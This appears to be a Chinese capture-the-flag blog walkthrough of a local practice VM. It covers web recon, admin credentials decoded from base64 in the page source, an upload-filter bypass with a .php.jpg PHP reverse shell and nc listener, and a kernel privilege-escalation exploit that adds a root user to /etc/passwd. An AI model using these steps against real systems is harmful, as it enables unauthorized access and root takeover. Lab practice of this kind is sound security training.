::: {.container}
::: {.post}
::: {.show-content}
靶机下载:修改靶机mac地址为08:00:27:A5:A6:76
,然后愉快的开始做实验。
只开了80端口,Linux 2.6.32 - 3.10
一、侦察
Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
robots.txt内容,
User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer
img src="/images/3037440.jpg"
http://192.168.1.115/icons/README
http://192.168.1.115/icons/small/
403 forbidden:
分析:
dirbuster找不出什么了,然后无思路。
二:突破点
尝试生成网页字典,然后给dirbuster
cewl -d 2 -m 5 -w test.txt http://192.168.1.115
无效
主页面有张图片,keep calm and drink fristi
然后找到后台: http://192.168.1.115/fristi,无语
查看源代码,有一条base64编码的注释。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
找个在线base64解码网站,解码后得到一个图片。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
用eezeepz / keKkeKKeKKeKkEkkEk 登陆,用户名密码都是源代码里有的。
三:文件上传拿webshell。
登陆后有个上传页面,随便上传一个。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
提示:Sorry, is not a valid file. Only allowed are: png,jpg,gif
Sorry, file not uploaded
上传jpg,提示:
Uploading, please wait
The file has been uploaded to **/uploads **
通过该路径可以访问,http://192.168.1.115/fristi/uploads/mm.jpg
先靶机监听,kali运行:nc -lvp 1234
准备php反弹shell,以前文章说过,这里不展开了。
后缀加个.jpg,成功上传,说明php只是通过后缀判断,没有过滤任何字符。
访问这个链接,kali获得shell.
http://192.168.1.115/fristi/uploads/php-reverse-shell.php.jpg
四:webshell提权
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
tail -6 /etc/passwd
信息:大于500的普通用户有4个。
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue
Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
尝试内核漏洞提权:
gcc可以用,wget可以用,nc不可以用(command not find)。
sh-4.1$ gcc 1.c
gcc 1.c
/tmp/cc9pS0Iv.o: In function `generate_password_hash':
1.c:(.text+0x1e): undefined reference to `crypt'
/tmp/cc9pS0Iv.o: In function `main':
1.c:(.text+0x4f3): undefined reference to `pthread_create'
1.c:(.text+0x527): undefined reference to `pthread_join'
collect2: ld returned 1 exit status
直接编译,出错
查看exploit-db的注释,再次编译:gcc -pthread 1.c -lcrypt
sh-4.1$ ./a.out
./a.out
Please enter the new password: a
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi2D0F2yP3cfM:0:0:pwned:/root:/bin/bash
mmap: 7fa0ba71d000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'a'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
遇到一个异常:stardard in must be a
tty,说明需要一个终端(shell),那么尝试python反弹个bash shell
python -c 'import pty;pty.spawn("/bin/bash")'
su firefart / a
得到root权限。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
总结:
kali目录下,有不少webshell可用: /usr/share/webshells/php
shell命令学习:
cat base64_password | tr -d '\n' > decoded_password
(去除文件每一行的\n换行符)
tr,translate的简写,主要用于压缩重复字符,删除文件中的控制字符以及进行字符转换操作。
-d:delete,删除SET1中指定的所有字符,不转换
:::
:::
:::